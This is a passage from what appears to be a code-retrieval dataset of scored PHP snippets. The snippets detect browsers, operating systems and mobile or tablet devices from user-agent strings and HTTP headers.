'qwap', 'sage', 'sams', 'sany', 'sch-', 'sec-', 'send', 'seri', 'sgh-', 'shar',\r\n 'sie-', 'siem', 'smal', 'smar', 'sony', 'sph-', 'symb', 't-mo', 'teli', 'tim-',\r\n 'tosh', 'tsm-', 'upg1', 'upsi', 'vk-v', 'voda', 'wap-', 'wapa', 'wapi', 'wapp',\r\n 'wapr', 'webc', 'winw', 'winw', 'xda ', 'xda-');\r\n\r\n if (in_array($mobile_ua, $mobile_agents)) {\r\n $mobile_browser++;\r\n }\r\n\r\n if (strpos(strtolower(@$_SERVER['HTTP_USER_AGENT']), 'opera mini') > 0) {\r\n $mobile_browser++;\r\n //Check for tablets on opera mini alternative headers\r\n $stock_ua = strtolower(isset($_SERVER['HTTP_X_OPERAMINI_PHONE_UA']) ? $_SERVER['HTTP_X_OPERAMINI_PHONE_UA'] : (isset($_SERVER['HTTP_DEVICE_STOCK_UA']) ? $_SERVER['HTTP_DEVICE_STOCK_UA'] : ''));\r\n if (preg_match('/(tablet|ipad|playbook)|(android(?!.*mobile))/i', $stock_ua)) {\r\n $tablet_browser++;\r\n }\r\n }\r\n\r\n if ($tablet_browser > 0) {\r\n // do something for tablet devices\r\n return 'tablet';\r\n } else if ($mobile_browser > 0) {\r\n // do something for mobile devices\r\n return 'mobile';\r\n } else {\r\n // do something for everything else\r\n return 'desktop';\r\n }\r\n\r\n }", "title": "" }, { "docid": "32aca0eece0223a042760f6c8753c83b", "score": "0.5719718", "text": "public static function detectPlatform()\r\n {\r\n\r\n $tablet_browser = 0;\r\n $mobile_browser = 0;\r\n\r\n if (preg_match('/(tablet|ipad|playbook)|(android(?!.*(mobi|opera mini)))/i', strtolower(@$_SERVER['HTTP_USER_AGENT']))) {\r\n $tablet_browser++;\r\n }\r\n\r\n if (preg_match('/(up.browser|up.link|mmp|symbian|smartphone|midp|wap|phone|android|iemobile)/i', strtolower(@$_SERVER['HTTP_USER_AGENT']))) {\r\n $mobile_browser++;\r\n }\r\n\r\n if ((strpos(strtolower(@$_SERVER['HTTP_ACCEPT']), 'application/vnd.wap.xhtml+xml') > 0) or ((isset($_SERVER['HTTP_X_WAP_PROFILE']) or isset($_SERVER['HTTP_PROFILE'])))) {\r\n $mobile_browser++;\r\n }\r\n\r\n $mobile_ua = strtolower(substr(@$_SERVER['HTTP_USER_AGENT'], 0, 4));\r\n $mobile_agents = array(\r\n 'w3c ', 'acs-', 'alav', 'alca', 'amoi', 'audi', 'avan', 'benq', 'bird', 'blac',\r\n 'blaz', 'brew', 'cell', 'cldc', 'cmd-', 'dang', 'doco', 'eric', 'hipt', 'inno',\r\n 'ipaq', 'java', 'jigs', 'kddi', 'keji', 'leno', 'lg-c', 'lg-d', 'lg-g', 'lge-',\r\n 'maui', 'maxo', 'midp', 'mits', 'mmef', 'mobi', 'mot-', 'moto', 'mwbp', 'nec-',\r\n 'newt', 'noki', 'palm', 'pana', 'pant', 'phil', 'play', 'port', 'prox',\r\n 'qwap', 'sage', 'sams', 'sany', 'sch-', 'sec-', 'send', 'seri', 'sgh-', 'shar',\r\n 'sie-', 'siem', 'smal', 'smar', 'sony', 'sph-', 'symb', 't-mo', 'teli', 'tim-',\r\n 'tosh', 'tsm-', 'upg1', 'upsi', 'vk-v', 'voda', 'wap-', 'wapa', 'wapi', 'wapp',\r\n 'wapr', 'webc', 'winw', 'winw', 'xda ', 'xda-');\r\n\r\n if (in_array($mobile_ua, $mobile_agents)) {\r\n $mobile_browser++;\r\n }\r\n\r\n if (strpos(strtolower(@$_SERVER['HTTP_USER_AGENT']), 'opera mini') > 0) {\r\n $mobile_browser++;\r\n //Check for tablets on opera mini alternative headers\r\n $stock_ua = strtolower(isset($_SERVER['HTTP_X_OPERAMINI_PHONE_UA']) ? $_SERVER['HTTP_X_OPERAMINI_PHONE_UA'] : (isset($_SERVER['HTTP_DEVICE_STOCK_UA']) ? $_SERVER['HTTP_DEVICE_STOCK_UA'] : ''));\r\n if (preg_match('/(tablet|ipad|playbook)|(android(?!.*mobile))/i', $stock_ua)) {\r\n $tablet_browser++;\r\n }\r\n }\r\n\r\n if ($tablet_browser > 0) {\r\n // do something for tablet devices\r\n return 'tablet';\r\n } else if ($mobile_browser > 0) {\r\n // do something for mobile devices\r\n return 'mobile';\r\n } else {\r\n // do something for everything else\r\n return 'desktop';\r\n }\r\n\r\n }", "title": "" }, { "docid": "3229150404b79853b90117539fa4be9a", "score": "0.56971467", "text": "public function getBrowser() {\n\t\t$event = $this->Controller->Event->trigger('findBrowser');\n\t\tif (isset($event['findBrowser'][$this->Controller->plugin]) && is_string($event['findBrowser'][$this->Controller->plugin])) {\n\t\t\treturn $event['findBrowser'][$this->Controller->plugin];\n\t\t}\n\n\t\t$agent = env( 'HTTP_USER_AGENT' );\n\n\t\tsrand((double)microtime() * 1000000);\n\t\t$r = rand();\n\t\t$u = uniqid(getmypid().$r.(double)microtime() * 1000000, 1);\n\t\t$m = md5 ( $u );\n\n\n\t\tif (\n\t\t\tpreg_match( \"/msie[\\/\\sa-z]*([\\d\\.]*)/i\", $agent, $m ) &&\n\t\t\t!preg_match( \"/webtv/i\", $agent ) &&\n\t\t\t!preg_match( \"/omniweb/i\", $agent ) &&\n\t\t\t!preg_match( \"/opera/i\", $agent )\n\t\t) {\n\t\t\t// IE\n\t\t\treturn 'MS Internet Explorer '.$m[1];\n\t\t} else if (preg_match( \"/netscape.?\\/([\\d\\.]*)/i\", $agent, $m )) {\n\t\t\t\t// Netscape 6.x, 7.x ...\n\t\t\t\treturn 'Netscape '.$m[1];\n\t\t} else if (\n\t\t\tpreg_match( \"/mozilla[\\/\\sa-z]*([\\d\\.]*)/i\", $agent, $m ) &&\n\t\t\t!preg_match( \"/gecko/i\", $agent ) &&\n\t\t\t!preg_match( \"/compatible/i\", $agent ) &&\n\t\t\t!preg_match( \"/opera/i\", $agent ) &&\n\t\t\t!preg_match( \"/galeon/i\", $agent ) &&\n\t\t\t!preg_match( \"/safari/i\", $agent )\n\t\t) {\n\t\t\t// Netscape 3.x, 4.x ...\n\t\t\treturn 'Netscape '.$m[1];\n\t\t} else{\n\t\t\t// Other\n\t\t\tConfigure::load('browsers');\n\t\t\t$browsers\t = Configure::read('Browsers');\n\t\t\tforeach ( $browsers as $key => $value) {\n\t\t\t\tif ( preg_match( '/'.regexEscape($value).'.?\\/([\\d\\.]*)/i', $agent, $m ) ) {\n\t\t\t\t\treturn $browsers[$key].' '.$m[1];\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn 'Unknown';\n\t}", "title": "" }, { "docid": "20b6a8c5978f810feeb623cd8b373385", "score": "0.5679394", "text": "public function verify_browser()\n {\n $this->_ci->load->library('user_agent');\n\n $min_browser = config_item('bitheme_min_browser');\n $current_browser = $this->_ci->agent->browser();\n $current_version = explode('.', $this->_ci->agent->version());\n\n if ( isset($min_browser[$current_browser]) and !IS_CLI )\n {\n if ( $current_version[0] <= $min_browser[$current_browser] )\n {\n $firefox = anchor('http://www.mozilla.org/id/', 'Mozilla Firefox', 'target=\"_blank\"');\n $chrome = anchor('https://www.google.com/intl/id/chrome/browser/', 'Google Chrome', 'target=\"_blank\"');\n\n log_message('error', lang(\"error_browser_jadul\"));\n show_error(array(\n 'Peramban yang anda gunakan tidak memenuhi syarat minimal penggunaan aplikasi ini.',\n 'Silahkan gunakan '.$firefox.' atau '.$chrome.' biar lebih GREGET!'), 500, 'error_browser_jadul');\n }\n }\n }", "title": "" }, { "docid": "0315aa4e91c8df1460bdd580333341b2", "score": "0.5676759", "text": "public function check_browser_pattern() {\n\n try {\n\n $headers = array_keys( $this->rHeaders );\n if( preg_match(\"/ Firefox/i\", $this->user_agent) != false &&\n ( $headers[0] != 'Host' ||\n $headers[1] != 'User-Agent' ||\n $headers[2] != 'Accept' ) ) {\n return FALSE;\n\n }elseif( preg_match(\"/ Chrome/i\", $this->user_agent) != false &&\n ( $headers[0] != 'Host' ||\n $headers[1] != 'Connection' ||\n ( $headers[2] != 'Cache-Control' && $headers[2] != 'Accept' ) ) ) {\n return FALSE;\n \n }elseif( preg_match(\"/ MSIE/\", $this->user_agent) != false && $headers[0] != 'Accept' ) {\n return FALSE;\n }\n\n return TRUE;\n\n } catch( Exception $e ) {\n die(__METHOD__);\n }\n }", "title": "" }, { "docid": "de3d426f6a2d03c95fde6467f14cbb35", "score": "0.56392854", "text": "function _isBrowserMacOP($ua_ok) {\r\n\t\t return ( (eregi( \"Macintosh\", $ua_ok ) && eregi( \"opera\", $ua_ok ) && eregi( \"[7]\\.[0-9,a-z]\", $ua_ok ) ) ||\r\n\t\t\t\t\t(eregi( \"Macintosh\", $ua_ok ) && eregi( \"opera\", $ua_ok ) && eregi( \"[8]\\.[5]\", $ua_ok ) ) ||\r\n\t\t\t\t\t(eregi( \"Macintosh\", $ua_ok ) && eregi( \"opera\", $ua_ok ) && eregi( \"[9]\\.[00]\", $ua_ok ) )\r\n\t\t\t\t );\r\n\t}", "title": "" }, { "docid": "b8f20dac09267c9c6939c1516d14c412", "score": "0.56336534", "text": "static private function DetectBrowser() {\n\t\t$userAgent = strtolower(self::$request_headers['User-Agent']);\n\t\t// Identify the browser. Check Opera and Safari first in case of spoof. Let Google Chrome be identified as Safari.\n\t\tif (stripos($userAgent, 'opera') !== false) {\n\t\t\tself::$browser_name = 'opera';\n\t\t} elseif (stripos($userAgent, 'webkit') !== false) {\n\t\t\tself::$browser_name = 'safari';\n\t\t} elseif (stripos($userAgent, 'msie') !== false) {\n\t\t\tself::$browser_name = 'msie';\n\t\t} elseif (stripos($userAgent, 'mozilla') !== false && strpos($userAgent, 'compatible') === false) {\n\t\t\tself::$browser_name = 'mozilla';\n\t\t}else {\n\t\t\tself::$browser_name = 'unrecognized';\n\t\t}\n\t\t// What version?\n\t\tif (preg_match('/.+(?:rv|it|ra|ie)[\\/: ]([\\d.]+)/', $userAgent, $matches)) {\n\t\t\tself::$browser_version = (float)$matches[1];\n\t\t}else {\n\t\t\tself::$browser_version = null;\n\t\t}\n\t}", "title": "" }, { "docid": "a7c0c98b7a2e01d390e8c3297490272f", "score": "0.5624367", "text": "public function getClientOs()\n\t{\n\t\t$userAgent = $this->getUserAgent();\n\n\t\tif (preg_match('/Linux/', $userAgent))\n\t\t{\n\t\t\treturn 'Linux';\n\t\t}\n\t\telseif (preg_match('/Win/', $userAgent))\n\t\t{\n\t\t\treturn 'Windows';\n\t\t}\n\t\telseif (preg_match('/Mac/', $userAgent))\n\t\t{\n\t\t\treturn 'Mac';\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn 'Other';\n\t\t}\n\t}", "title": "" }, { "docid": "b7ba7158f162ac9b0242958d602fa395", "score": "0.56096077", "text": "function parse_user_agent( $u_agent = null ) { \n\tif(is_null($u_agent)) $u_agent = $_SERVER['HTTP_USER_AGENT'];\n\n\t$data = array(\n\t\t'platform' => null,\n\t\t'browser' => null,\n\t\t'version' => null,\n\t);\n\n\tif( preg_match('/\\((.*?)\\)/im', $u_agent, $regs) ) {\n\n\t\t# (?<platform>Android|iPhone|iPad|Windows|Linux|Macintosh|Windows Phone OS|Silk|linux-gnu|BlackBerry)(?: x86_64)?(?: NT)?(?:[ /][0-9._]+)*(;|$)\n\t\tpreg_match_all('%(?P<platform>Android|iPhone|iPad|Windows|Linux|Macintosh|Windows Phone OS|Silk|linux-gnu|BlackBerry)(?: x86_64)?(?: NT)?(?:[ /][0-9._]+)*(;|$)%im', $regs[1], $result, PREG_PATTERN_ORDER);\n\t\t$result['platform'] = array_unique($result['platform']);\n\t\tif( count($result['platform']) > 1 ) {\n\t\t\tif( ($key = array_search( 'Android', $result['platform'] )) !== false ) {\n\t\t\t\t$data['platform'] = $result['platform'][$key];\n\t\t\t}\n\t\t}elseif(isset($result['platform'][0])){\n\t\t\t$data['platform'] = $result['platform'][0];\n\t\t}\n\n\t}\n\n\t# (?<browser>Camino|Kindle|Firefox|Safari|MSIE|AppleWebKit|Chrome|IEMobile|Opera|Silk|Lynx|Version|Wget)(?:[/ ])(?<version>[0-9.]+)\n\tpreg_match_all('%(?P<browser>Camino|Kindle|Firefox|Safari|MSIE|AppleWebKit|Chrome|IEMobile|Opera|Silk|Lynx|Version|Wget|curl)(?:[/ ])(?P<version>[0-9.]+)%im', $u_agent, $result, PREG_PATTERN_ORDER);\n\n\tif( $data['platform'] == 'linux-gnu' ) { $data['platform'] = 'Linux'; }\n\n\tif( ($key = array_search( 'Kindle', $result['browser'] )) !== false || ($key = array_search( 'Silk', $result['browser'] )) !== false ) {\n\t\t$data['browser'] = $result['browser'][$key];\n\t\t$data['platform'] = 'Kindle';\n\t\t$data['version'] = $result['version'][$key];\n\t}elseif( $result['browser'][0] == 'AppleWebKit' ) {\n\t\tif( ( $data['platform'] == 'Android' && !($key = 0) ) || $key = array_search( 'Chrome', $result['browser'] ) ) {\n\t\t\t$data['browser'] = 'Chrome';\n\t\t\tif( ($vkey = array_search( 'Version', $result['browser'] )) !== false ) { $key = $vkey; }\n\t\t}elseif( $data['platform'] == 'BlackBerry' ) {\n\t\t\t$data['browser'] = 'BlackBerry Browser';\n\t\t\tif( ($vkey = array_search( 'Version', $result['browser'] )) !== false ) { $key = $vkey; }\n\t\t}elseif( $key = array_search( 'Kindle', $result['browser'] ) ) {\n\t\t\t$data['browser'] = 'Kindle';\n\t\t}elseif( $key = array_search( 'Safari', $result['browser'] ) ) {\n\t\t\t$data['browser'] = 'Safari';\n\t\t\tif( ($vkey = array_search( 'Version', $result['browser'] )) !== false ) { $key = $vkey; }\n\t\t}else{\n\t\t\t$key = 0;\n\t\t}\n\n\t\t$data['version'] = $result['version'][$key];\n\t}elseif( ($key = array_search( 'Opera', $result['browser'] )) !== false ) {\n\t\t$data['browser'] = $result['browser'][$key];\n\t\t$data['version'] = $result['version'][$key];\n\t\tif( ($key = array_search( 'Version', $result['browser'] )) !== false ) { $data['version'] = $result['version'][$key]; }\n\t}elseif( $result['browser'][0] == 'MSIE' ){\n\t\tif( $key = array_search( 'IEMobile', $result['browser'] ) ) {\n\t\t\t$data['browser'] = 'IEMobile';\n\t\t}else{\n\t\t\t$data['browser'] = 'MSIE';\n\t\t\t$key = 0;\n\t\t}\n\t\t$data['version'] = $result['version'][$key];\n\t}elseif( $key = array_search( 'Kindle', $result['browser'] ) ) {\n\t\t$data['browser'] = 'Kindle';\n\t\t$data['platform'] = 'Kindle';\n\t}else{\n\t\t$data['browser'] = $result['browser'][0];\n\t\t$data['version'] = $result['version'][0];\n\t}\n\n\treturn $data;\n\n}", "title": "" }, { "docid": "cf9bb0adc109f0ab09de02c55b3a3c97", "score": "0.5590411", "text": "public function detectOS() {\n $Dev = Devices::listDevices();\n if( isset($_REQUEST['device']) && isset($Dev[$_REQUEST['device']]) && (!isset($device['options']['hidden']) || $device['options']['hidden'] == 0)) {\n $dev_id = $_REQUEST['device'];\n $device = $Dev[$dev_id];\n if($this->version == 1)\n return(['id'=>$dev_id,'display'=>$device['display'], 'group'=>$device['group']]);\n else\n return(['device'=>$dev_id,'display'=>$device['display'], 'group'=>$device['group']]);\n }\n $browser = $_SERVER['HTTP_USER_AGENT'];\n $this->loggerInstance->debug(4,\"HTTP_USER_AGENT=$browser\\n\");\n foreach ($Dev as $dev_id => $device) {\n if(!isset($device['match']))\n continue;\n if(preg_match('/'.$device['match'].'/',$browser)) {\n if(!isset($device['options']['hidden']) || $device['options']['hidden'] == 0) {\n $this->loggerInstance->debug(4,\"Browser_id: $dev_id\\n\");\n if($this->version == 1)\n return(['id'=>$dev_id,'display'=>$device['display'], 'group'=>$device['group']]);\n else\n return(['device'=>$dev_id,'display'=>$device['display'], 'group'=>$device['group']]);\n }\n else {\n $this->loggerInstance->debug(2, \"Unrecognised system: \".$_SERVER['HTTP_USER_AGENT'].\"\\n\");\n return(false);\n }\n }\n }\n $this->loggerInstance->debug(2, \"Unrecognised system: \".$_SERVER['HTTP_USER_AGENT'].\"\\n\");\n return(false);\n}", "title": "" }, { "docid": "2a611e03b72b30fc08afda5444f45d67", "score": "0.5590134", "text": "function getAgent()\r\n {\r\n $result = SPAW_AGENT_UNSUPPORTED;\r\n $browser = SpawVars::GetServerVar('HTTP_USER_AGENT');\r\n // check if msie\r\n if (eregi(\"MSIE[^;]*\",$browser,$msie))\r\n {\r\n // get version \r\n if (eregi(\"[0-9]+\\.[0-9]+\",$msie[0],$version))\r\n {\r\n // check version\r\n if ((float)$version[0]>=5.5)\r\n {\r\n // finally check if it's not opera impersonating ie\r\n if (!eregi(\"opera\",$browser))\r\n {\r\n $result = SPAW_AGENT_IE;\r\n }\r\n }\r\n }\r\n }\r\n elseif (ereg(\"Gecko/([0-9]*)\",$browser,$build))\r\n {\r\n // build date of Mozilla version 1.3 is 20030312\r\n if ($build[1] > \"20030312\")\r\n $result = SPAW_AGENT_GECKO;\r\n }\r\n elseif (eregi(\"Opera/([0-9]*)\", $browser, $opera))\r\n {\r\n if ((float)$opera[1] >= 9)\r\n $result = SPAW_AGENT_OPERA;\r\n }\r\n return $result;\r\n }", "title": "" }, { "docid": "f73ed2744e408cccc6f047474d7423c2", "score": "0.5583819", "text": "function HTML5ForFirefox()\n\t{\n\t\t?>\n\t\t<!--Native desktop notification support is now available for your browser. I'm currently implementing support for this feature. Although, to use the notification feature in firefox at this time:<br />-->\n\t\t<ol>\n\t\t\t<!--<li>Please download and enable <a href='https://addons.mozilla.org/en-us/firefox/addon/html-notifications/'>HTML5 Desktop Notifications</a> add-on for Firefox.</li>-->\n\t\t\t<li>Please click <a href='#' onClick=\"desktopNotifyAuthHandler()\">here</a> and click on \"Allow\" to enable desktop notifications.</li>\n\t\t\t<li>Click <a href='#' onClick=\"desktopNotificationTest('Test Notification')\">here</a> when you are done with the above step to test it.</li>\n\t\t</ol>\n\t\t<?php\n\t}", "title": "" }, { "docid": "6da103c1d58143b2f91f89618172c412", "score": "0.5574364", "text": "function get_browser ($user_agent = null, $return_array = false) {}", "title": "" }, { "docid": "1e3322f8ce4356a6a96ee55fa420d94e", "score": "0.5569095", "text": "protected function userAgent()\n {\n return array_rand([\n 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13',\n 'Mozilla/5.0 (Windows CE) AppleWebKit/5350 (KHTML, like Gecko) Chrome/13.0.888.0 Safari/5350',\n 'Mozilla/5.0 (Macintosh; PPC Mac OS X 10_6_5) AppleWebKit/5312 (KHTML, like Gecko) Chrome/14.0.894.0 Safari/5312',\n 'Mozilla/5.0 (X11; Linuxi686; rv:7.0) Gecko/20101231 Firefox/3.6',\n 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_7_1 rv:3.0; en-US) AppleWebKit/534.11.3 (KHTML, like Gecko) Version/4.0 Safari/534.11.3',\n 'Opera/8.25 (Windows NT 5.1; en-US) Presto/2.9.188 Version/10.00',\n 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1',\n 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',\n 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko',\n 'Mozilla/5.0 (compatible; MSIE 7.0; Windows 98; Win 9x 4.90; Trident/3.0)',\n 'Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16'\n ], 1);\n }", "title": "" }, { "docid": "3881600d968cbd4c80b4e1b2e76e78a7", "score": "0.556349", "text": "function _isBrowserWinIE($ua_ok) {\r\n\t\treturn ( (eregi( \"Windows\", $ua_ok ) && eregi( \"msie\", $ua_ok ) && eregi( \"[7]\\.[0]\", $ua_ok ) ) ||\r\n\t\t\t (eregi( \"Windows\", $ua_ok ) && eregi( \"msie\", $ua_ok ) && eregi( \"[6]\\.[0-9]\", $ua_ok ) ) ||\r\n\t\t\t (eregi( \"Windows\", $ua_ok ) && eregi( \"msie\", $ua_ok ) && eregi( \"[5]\\.[5]\", $ua_ok ) ) ||\r\n\t\t\t (eregi( \"Windows\", $ua_ok ) && eregi( \"msie\", $ua_ok ) && eregi( \"[5]\\.[01]\", $ua_ok ) ) ||\r\n\t\t\t (eregi( \"Windows\", $ua_ok ) && eregi( \"msie\", $ua_ok ) && eregi( \"[4]\\.[01]\", $ua_ok ) )\r\n\t\t\t );\r\n\t}", "title": "" }, { "docid": "697c9d5b3e99ffcb6519bcbda745850d", "score": "0.5548894", "text": "function browserIsMozilla ()\n\t{\n\t\treturn ($this->getBrowserAgent () == 'Mozilla');\n\t}", "title": "" }, { "docid": "316a0d039500a9187377c63455e7c10b", "score": "0.5548485", "text": "function getCapabilities() ;", "title": "" }, { "docid": "c0a51396050c8e5e9fe883db133da7b6", "score": "0.55414313", "text": "function _isBrowserMacIE($ua_ok) {\r\n\t\t return ( eregi( \"Mac_PowerPC\", $ua_ok ) && eregi( \"msie\", $ua_ok ) && eregi( \"[5]\\.[2][0-9]\", $ua_ok ) );\r\n\t}", "title": "" }, { "docid": "46b14cd13e7cbc420e1e69535c122ae0", "score": "0.5539792", "text": "function getBrowser() {\n\n global $user_agent;\n\n $browser = \"Unknown Browser\";\n\n $browser_array = array(\n '/msie/i' => 'Internet Explorer',\n '/firefox/i' => 'Firefox',\n '/safari/i' => 'Safari',\n '/chrome/i' => 'Chrome',\n '/opera/i' => 'Opera',\n '/netscape/i' => 'Netscape',\n '/maxthon/i' => 'Maxthon',\n '/konqueror/i' => 'Konqueror',\n '/mobile/i' => 'Handheld Browser'\n );\n\n foreach ($browser_array as $regex => $value) {\n\n if (preg_match($regex, $user_agent)) {\n $browser = $value;\n }\n\n }\n\n return $browser;\n\n}", "title": "" }, { "docid": "048417f078d1958efe352099554a6cc6", "score": "0.55269074", "text": "function getOS() { \n\n $user_agent = $_SERVER['HTTP_USER_AGENT'];\n\n $os_platform = \"UnknownOS\";\n\n $os_array = array(\n '/Windows Phone/i' => 'Windows Phone',\n '/iphone/i' => 'iPhone',\n '/ipod/i' => 'iPod',\n '/ipad/i' => 'iPad',\n '/android/i' => 'Android',\n '/blackberry/i' => 'BlackBerry',\n '/webos/i' => 'Mobile'\n );\n\n foreach ($os_array as $regex => $value) { \n\n if (preg_match($regex, $user_agent)) {\n $os_platform = $value;\n }\n\n } \n\n return $os_platform;\n\n}", "title": "" }, { "docid": "c0c18e2734ec8dfac25e78b9b07c107c", "score": "0.55202305", "text": "function getBrowserPlatform ()\n\t{\n\t return $this->platform;\n\t}", "title": "" }, { "docid": "a61172c3ef3adabe61f63ca74c1f16da", "score": "0.5514159", "text": "function getOS($userAgent) {\n // Create list of operating systems with operating system name as array key \n\t$oses = array (\n\t\t'iPhone' => '(iPhone)',\n\t\t'Windows 3.11' => 'Win16',\n\t\t'Windows 95' => '(Windows 95)|(Win95)|(Windows_95)', // Use regular expressions as value to identify operating system\n\t\t'Windows 98' => '(Windows 98)|(Win98)',\n\t\t'Windows 2000' => '(Windows NT 5.0)|(Windows 2000)',\n\t\t'Windows XP' => '(Windows NT 5.1)|(Windows XP)',\n\t\t'Windows 2003' => '(Windows NT 5.2)',\n\t\t'Windows Vista' => '(Windows NT 6.0)|(Windows Vista)',\n\t\t'Windows 7' => '(Windows NT 6.1)|(Windows 7)',\n\t\t'Windows NT 4.0' => '(Windows NT 4.0)|(WinNT4.0)|(WinNT)|(Windows NT)',\n\t\t'Windows ME' => 'Windows ME',\n\t\t'Open BSD'=>'OpenBSD',\n\t\t'Sun OS'=>'SunOS',\n\t\t'Linux'=>'(Linux)|(X11)',\n\t\t'Safari' => '(Safari)',\n\t\t'Macintosh'=>'(Mac_PowerPC)|(Macintosh)',\n\t\t'QNX'=>'QNX',\n\t\t'BeOS'=>'BeOS',\n\t\t'OS/2'=>'OS/2',\n\t\t'Search Bot'=>'(nuhk)|(Googlebot)|(Yammybot)|(Openbot)|(Slurp/cat)|(msnbot)|(ia_archiver)'\n\t);\n\n\tforeach($oses as $os=>$pattern){ // Loop through $oses array\n // Use regular expressions to check operating system type\n\t\tif(eregi($pattern, $userAgent)) { // Check if a value in $oses array matches current user agent.\n\t\t\treturn $os; // Operating system was matched so return $oses key\n\t\t}\n\t}\n\treturn 'Unknown'; // Cannot find operating system so return Unknown\n}", "title": "" }, { "docid": "396e6f6fc5c99138c134bdb1301eed82", "score": "0.55136526", "text": "static public function getBrowserName() {\n\t\treturn (string)self::$browser_name;\n\t}", "title": "" }, { "docid": "9c305d0007cf1cbc4fccee610833c8c7", "score": "0.5513323", "text": "function hello_dude() {\nif (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {\n echo 'ALERT!! This is server use Windows!';\n echo php_uname();\n} else {\n echo 'Good News! This server is not using Windows!';\n}\n}", "title": "" }, { "docid": "ee296943e9faac4177d6799e03ec5932", "score": "0.55067754", "text": "function rhd_is_mobile() {\n\t$mobile_browser = 0;\n\n\tif (preg_match('/(up.browser|up.link|mmp|symbian|smartphone|midp|wap|phone|android)/i', strtolower($_SERVER['HTTP_USER_AGENT']))) {\n\t $mobile_browser++;\n\t}\n\n\tif ((strpos(strtolower($_SERVER['HTTP_ACCEPT']),'application/vnd.wap.xhtml+xml') > 0) or ((isset($_SERVER['HTTP_X_WAP_PROFILE']) or isset($_SERVER['HTTP_PROFILE'])))) {\n\t $mobile_browser++;\n\t}\n\n\t$mobile_ua = strtolower(substr($_SERVER['HTTP_USER_AGENT'], 0, 4));\n\t$mobile_agents = array(\n\t 'w3c ','acs-','alav','alca','amoi','audi','avan','benq','bird','blac',\n\t 'blaz','brew','cell','cldc','cmd-','dang','doco','eric','hipt','inno',\n\t 'ipaq','java','jigs','kddi','keji','leno','lg-c','lg-d','lg-g','lge-',\n\t 'maui','maxo','midp','mits','mmef','mobi','mot-','moto','mwbp','nec-',\n\t 'newt','noki','oper','palm','pana','pant','phil','play','port','prox',\n\t 'qwap','sage','sams','sany','sch-','sec-','send','seri','sgh-','shar',\n\t 'sie-','siem','smal','smar','sony','sph-','symb','t-mo','teli','tim-',\n\t 'tosh','tsm-','upg1','upsi','vk-v','voda','wap-','wapa','wapi','wapp',\n\t 'wapr','webc','winw','winw','xda ','xda-');\n\n\tif (in_array($mobile_ua,$mobile_agents)) {\n\t $mobile_browser++;\n\t}\n\n\tif ( array_key_exists( 'ALL_HTTP', $_SERVER ) ) {\n\t\tif (strpos(strtolower($_SERVER['ALL_HTTP']),'OperaMini') > 0) {\n\t\t $mobile_browser++;\n\t\t}\n\t}\n\n\tif (strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'windows') > 0) {\n\t $mobile_browser = 0;\n\t}\n\n\tif ( $mobile_browser > 0 ) {\n\t\t$mobile_browser = TRUE;\n\t} else {\n\t\t$mobile_browser = FALSE;\n\t}\n\n\treturn $mobile_browser;\n}", "title": "" }, { "docid": "476f632b214adc73347969c53b6e5242", "score": "0.5492154", "text": "function _isBrowserMacCamino($ua_ok) {\r\n\t\treturn ( (eregi( \"Windows\", $ua_ok ) && eregi( \"flock\", $ua_ok ) && eregi( \"[0]\\.[4]\", $ua_ok ) ) ||\r\n\t\t\t\t (eregi( \"Macintosh\", $ua_ok ) && eregi( \"camino\", $ua_ok ) && eregi( \"[1]\\.[8]\", $ua_ok ) ) ||\r\n\t\t\t\t (eregi( \"Macintosh\", $ua_ok ) && eregi( \"camino\", $ua_ok ) && eregi( \"[1]\\.[8]\\.[1]\", $ua_ok ) ) ||\r\n\t\t\t\t (eregi( \"Macintosh\", $ua_ok ) && eregi( \"camino\", $ua_ok ) && eregi( \"[1]\\.[9]\", $ua_ok ) ) ||\r\n\t\t\t\t (eregi( \"Macintosh\", $ua_ok ) && eregi( \"camino\", $ua_ok ) && eregi( \"[1]\\.[0]\", $ua_ok ) )\r\n\t\t\t );\r\n\t}", "title": "" }, { "docid": "621b4a8f92b02af1c934666714f5f3b6", "score": "0.5478813", "text": "function is_windows()\n{\n return 0 === stripos(PHP_OS, 'WIN');\n}", "title": "" }, { "docid": "b7d9b7928a397c8b9ff1519440563248", "score": "0.5475765", "text": "protected static function isWindows() {}", "title": "" }, { "docid": "72f85d7cf88ec9379a1c18db9bff1cf8", "score": "0.54723525", "text": "function is_windows() {\n $is_windows = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');\n return $is_windows;\n}", "title": "" }, { "docid": "044e7c1e3d72d58f8b022eeabeea314a", "score": "0.54637736", "text": "function auth_browseruid(){\n $uid = '';\n if (empty($_SERVER['HTTP_USER_AGENT'])) { $_SERVER['HTTP_USER_AGENT']='USER_AGENT'; }\n if (empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { $_SERVER['HTTP_ACCEPT_LANGUAGE']='ACCEPT_LANGUAGE'; }\n if (empty($_SERVER['HTTP_ACCEPT_CHARSET'])) { $_SERVER['HTTP_ACCEPT_CHARSET']='ACCEPT_CHARSET'; }\n $uid .= $_SERVER['HTTP_USER_AGENT'];\n $uid .= $_SERVER['HTTP_ACCEPT_LANGUAGE'];\n $uid .= $_SERVER['HTTP_ACCEPT_CHARSET'];\n $uid .= substr($_SERVER['REMOTE_ADDR'],0,strpos($_SERVER['REMOTE_ADDR'],'.'));\n return md5($uid);\n}", "title": "" }, { "docid": "d72087b5f7b9826f4f67a45958773588", "score": "0.54485214", "text": "function tipoDispositivo() {\n $tablet_browser = 0;\n $mobile_browser = 0;\n $body_class = 'desktop';\n\n if (preg_match('/(tablet|ipad|playbook)|(android(?!.*(mobi|opera mini)))/i', strtolower($_SERVER['HTTP_USER_AGENT']))) {\n $tablet_browser++;\n $body_class = \"tablet\";\n }\n\n if 